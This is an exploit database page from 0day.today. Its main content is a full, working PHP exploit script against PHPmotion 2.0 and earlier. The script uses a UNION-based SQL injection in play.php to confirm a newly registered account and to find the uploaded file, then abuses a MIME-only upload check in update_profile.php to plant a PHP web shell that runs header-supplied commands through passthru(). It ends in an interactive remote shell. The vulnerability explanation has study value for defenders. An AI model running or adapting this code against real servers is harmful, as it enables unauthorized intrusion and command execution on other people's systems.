0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit
================================================================= PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit ================================================================= <?php /* ----------------------------------------------------------------- PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit ----------------------------------------------------------------- author...: EgiX link.....: http://www.phpmotion.com/ details..: don't works on windows platforms due to $_FILES['ufile']['tmp_name'] is stripslashed [-] vulnerable code in /update_profile.php 255. // START OF FILE UPLOAD AND SECURITY CHECK 256. $limit_size = $config['maximum_size'];//you can change this to a higher file size limit (this is in bytes = 2MB apprx) 257. $random = randomcode();//create random number 258. $uniquename1 = $random . $_FILES['ufile']['name'];//add random number to file name to create unique file 259. $uniquename = mysql_real_escape_string($uniquename1); 260. $path = installation_paths(); 261. $path = $path . "/pictures/" . $uniquename; 262. 263. if ($_FILES) { 264. // Store upload file size in $file_size 265. $file_size = $_FILES['ufile']['size']; 266. //die("\$file_size = $file_size; \$limit_size = $limit_size;"); 267. 268. if ($file_size >= $limit_size) { 269. // Display file size error 270. // /////////////////////// 271. $show = 1; 272. $message_type = $config["notification_success"];//the messsage displayed at the top coner 273. $error_message = 'Your image is too large. The maximum size allowed is: ' . $config['maximum_size_human_readale']; 274. $blk_id = 1;//html table - error block 275. $template = "templates/main_1.htm"; 276. $inner_template1 = "templates/inner_myaccount_update_profile.htm";//middle of page 277. $TBS = new clsTinyButStrong; 278. $TBS->NoErr = true;// no more error message displayed. 279. $TBS->LoadTemplate("$template"); 280. $TBS->Render = TBS_OUTPUT; 281. $TBS->Show(); 282. 283. @mysql_close(); 284. die(); 285. } 286. else { 287. $filetype = $_FILES['ufile']['type']; <======= 288. if ($filetype == "image/gif" || $filetype == "image/jpeg" || $filetype == 289. "image/pjpeg") { 290. // copy file to where you want to store file 291. if (@copy($_FILES['ufile']['tmp_name'], $path)) { 292. } 293. else { 294. // Display general file copy error an attacker might be able to upload arbitrary malicious files with .php extension due to the code near lines 287-289 will check only the MIME type of the upload request, that can be easily spoofed! */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } // yes, SQL injection vulnerable too! function retrive_data($field, $table, $clause) { global $host, $path; $sql = "-1/**/UNION/**/SELECT/**/".str_repeat("1,",16)."{$field},".encodeSQL("yes").",1,1,1/**/FROM/**/{$table}/**/WHERE/**/{$clause}%23"; $packet = "GET {$path}play.php?vid={$sql} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; preg_match("/play.php\?vid=(.*)\"/", http_send($host, $packet), $match); return $match[1]; } function encodeSQL($sql) { for ($i = 0, $n = strlen($sql); $i < $n; $i++) $encoded .= dechex(ord($sql[$i])); return "CONCAT(0x{$encoded})"; } function upload() { global $host, $path, $sid, $username; login(); print "[-] Trying to upload a shell...\n"; $payload = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"submitted_pic\"\r\n\r\nyes\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"ufile\"; filename=\".php\"\r\n"; $payload .= "Content-Type: image/jpeg\r\n\r\n"; $payload .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n"; $payload .= "--o0oOo0o--\r\n"; $packet = "POST {$path}update_profile.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: PHPSESSID={$sid}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; http_send($host, $packet); $user_id = (int) retrive_data("user_id", "member_profile", "user_name=".encodeSQL($username)); $file_name = retrive_data("file_name", "pictures", "user_id={$user_id}"); if (!isset($file_name)) die("\n[-] Upload failed...\n"); else return $file_name; } function login() { global $host, $path, $username, $password, $sid; print "\n[-] Logging in with username '{$username}' and password '{$password}'\n"; $data = "user_name_login={$username}&password_login={$password}&submitted=yes"; $packet = "POST {$path}login.php HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Content-Length: ".strlen($data)."\r\n"; $packet.= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet.= "Connection: close\r\n\r\n"; $packet.= $data; $html = http_send($host, $packet); preg_match("/PHPSESSID=([0-9a-f]{32})/i", $html, $match); $sid = $match[1]; if (!preg_match("/Location: myaccount.php/i", $html)) { print "[-] Login failed!\n"; register(); login(); } } function register() { global $host, $path, $username, $password; print "\n[-] Registering new user '{$username}' with password '{$password}'\n"; // register a new account $data = "user_name={$username}"; $data .= "&password={$password}"; $data .= "&confirm_password={$password}"; $data .= "&email_address=".md5(time())."@null.com"; $data .= "&form_submitted=yes"; $data .= "&terms=yes"; $packet = "POST {$path}register.php HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Content-Length: ".strlen($data)."\r\n"; $packet.= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet.= "Connection: close\r\n\r\n"; $packet.= $data; http_send($host, $packet); $code = retrive_data("random_code", "member_profile", "user_name=".encodeSQL($username)); if (!isset($code)) die("\n[-] Registration failed...\n"); // and confirm the registration $packet = "GET {$path}confirm.php?id={$code} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Connection: close\r\n\r\n"; if (!preg_match("/registration is now complete/i", http_send($host, $packet))) die("\n[-] Registration failed...\n"); } print "\n+---------------------------------------------------------------------------+"; print "\n| PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit by EgiX |"; print "\n+---------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /phpmotion/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $username = "pr00f_0f"; $password = "_c0nc3pt"; $r_path = "pictures/".upload(); define(STDIN, fopen("php://stdin", "r")); while(1) { print "\nphpmotion-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}{$r_path} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; $output = http_send($host, $packet); if (!preg_match("/_code_/", $output)) die("\n[-] Exploit failed...\n"); $shell = explode("_code_", $output); print "\n{$shell[1]}"; } else break; } ?> # 0day.today [2024-07-07] #